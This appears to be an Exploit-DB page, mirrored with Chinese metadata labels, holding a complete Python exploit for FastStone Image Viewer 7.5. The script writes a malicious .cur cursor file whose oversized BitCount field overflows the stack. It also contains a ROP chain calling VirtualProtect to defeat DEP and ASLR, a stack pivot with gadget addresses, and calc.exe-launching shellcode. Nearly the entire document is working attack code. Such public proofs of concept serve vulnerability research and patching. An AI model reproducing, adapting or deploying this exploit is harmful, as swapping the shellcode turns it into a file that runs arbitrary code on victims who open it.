FastStone Image Viewer 7.5 – .cur BITMAPINFOHEADER ‘BitCount’ Stack Based Buffer Overflow (ASLR & DEP Bypass)

  • 作者: Paolo Stagno
    日期: 2021-03-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49660/
  • # Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)
    # Exploit Author: Paolo Stagno
    # Date: 15/03/2020
    # Vendor Homepage: https://www.faststone.org/
    # Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe
    #https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/
    # Version: 7.5
    # Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256
    # Category: local exploit
    # Platform: windows
    
    # Module info :
    #----------------------------------------------------------------------------------------------------------------------
    #Base | Top| Size | Rebase | SafeSEH | ASLR| NXCompat | OS Dll | Version, Modulename & Path
    #----------------------------------------------------------------------------------------------------------------------
    #0x00400000 | 0x00abf000 | 0x006bf000 | False| False | False |False | False| 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe)
    #0x6ad80000 | 0x6adfe000 | 0x0007e000 | False| False | False |False | False| -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll)
    #0x6afb0000 | 0x6b011000 | 0x00061000 | True | True| False |False | False| -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll)
    #----------------------------------------------------------------------------------------------------------------------
    
    #!/usr/bin/python
    import struct, sys
    print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n")
    
    filename="FSViewer_v.7.5_exploit.cur"
    
    ###################################################################################
    # Shellcode
    # MAX Shellcode size: 556
    # ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556
    # Custom calc.exe shellcode
    # size: 112
    ###################################################################################
    
    shellcode=(
    "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
    "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
    "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
    "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
    "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
    "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
    "\x45\x81\x3e\x43\x72\x65\x61\x75"
    "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
    "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
    "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
    "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
    "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
    "\x6c\x63\x89\xe2\x52\x52\x53\x53"
    "\x53\x53\x53\x53\x52\x53\xff\xd7"
    )
    
    
    if (len(shellcode)>556):
    sys.exit("Shellcode's size must be <= 556 bytes")
    
    ###################################################################################
    # Cur File Format
    # ---------------------------------------------------------------------------------
    # | Reserved | Type| Image Count |
    # | 00 00| 02 00 | 02 00 | <- CUR file will contains two images
    # Entries:
    # | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |
    # | 30| 30 | 00 | 00 | 01 00| 02 00| 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode 
    # | 20| 20 | 00 | 00 | 02 00| 04 00| E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)
    # 1st Image Info Header:
    # | Size| Width | Height| Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |
    # | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00| 89 30| 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
    # 1st ImageData(BLOB)
    # 2nd Image Info Header:
    # 2nd ImageData(BLOB)
    # ---------------------------------------------------------------------------------
    # BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow
    # its value can be modified but we need to account for two operations happening into the software.
    # - SHL 1, 89 = 0x200
    # - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file
    # we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes
    # ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d)
    ###################################################################################
    
    image_data_pad = 776
    
    def create_rop_nop():
    rop_gadgets = [
    0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
    def create_rop_chain():
    rop_gadgets = [
    #[---INFO:gadgets_to_set_esi:---]
    0x00405bd4,# POP EAX ; RETN [FSViewer.exe] 
    0x6adf4160,# ptr to &VirtualProtect() [IAT fsplugin05.dll]
    0x008b3977,# MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe] 
    0x0083f67a,# XCHG EAX,ESI ; RETN [FSViewer.exe] 
    #[---INFO:gadgets_to_set_ebp:---]
    0x005b35b8,# POP EBP ; RETN [FSViewer.exe] 
    0x00454521,# & jmp esp [FSViewer.exe]
    #[---INFO:gadgets_to_set_ebx:---]
    0x00630472,# POP EBX ; RETN [FSViewer.exe] 
    0x00000201,# 0x00000201-> ebx
    #[---INFO:gadgets_to_set_edx:---]
    0x004798db,# POP EDX ; RETN [FSViewer.exe] 
    0x00000040,# 0x00000040-> edx
    #[---INFO:gadgets_to_set_ecx:---]
    0x004c7832,# POP ECX ; RETN [FSViewer.exe] 
    0x00991445,# &Writable location [FSViewer.exe]
    #[---INFO:gadgets_to_set_edi:---]
    0x0040c3a8,# POP EDI ; RETN [FSViewer.exe] 
    0x0057660b,# RETN (ROP NOP) [FSViewer.exe]
    #[---INFO:gadgets_to_set_eax:---]
    0x00404243,# POP EAX ; RETN [FSViewer.exe] 
    0x90909090,# nop
    #[---INFO:pushad:---]
    0x6adc21bf,# PUSHAD # RETN [fsplugin05.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    # Cur image = 1597 bytes
    ###################################################################################
    cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type| Image Count |
    cur_Entries = (
    "\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00"# 1st Entry
    "\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00"# 2nd Entry
    )
    # 1st Image Info Header
    cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    # 1st ImageData
    # cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
    print("Generating 1st ImageData BLOB:")
    cur_1ImageData = ""
    cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found
    print("- ROP NOP:\t\t{}".format(len(cur_1ImageData)))
    cur_1ImageData += create_rop_chain()
    print("- ROP Chain:\t\t{}".format(len(create_rop_chain())))
    cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90" # stack adjustment for meterpreter GetPC routine: add esp, -700
    print("- Stack Adjustment:\t8")
    cur_1ImageData += shellcode
    print("- Shellcode:\t\t{}".format(len(shellcode)))
    cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData))
    # 2nd Image Info Header
    cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    # 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section)
    cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00"
    # SEH record overwrite goes here
    cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
    ###################################################################################
    
    buf = ""
    buf += cur_Signature
    buf += cur_Entries
    buf += cur_1InfoHeader
    buf += cur_1ImageData
    buf += cur_2InfoHeader
    buf += cur_2ImageData
    # buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret| startnull {PAGE_EXECUTE_READ} [FSViewer.exe]
    # 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775
    buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 :ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}
    buf += cur_2ImageData2
    
    #buf += "B" * (buf_max_size - len(buf))
    print("\nWriting CUR File:")
    print("--------------------------------------------------------")
    print("- Signature + ImageCount:\t{}".format(len(cur_Signature)))
    print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries)))
    print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader)))
    print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData)))
    print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader)))
    print("2nd ImageData 1/2:\t{}".format(len(cur_2ImageData)))
    print("SEH:\t\t\t4")
    print("2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2)))
    print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2)))
    print("--------------------------------------------------------")
    print("[+] Writing total {} bytes on {}".format(len(buf), filename))
    file = open(filename, "w");
    file.write(buf);
    file.close();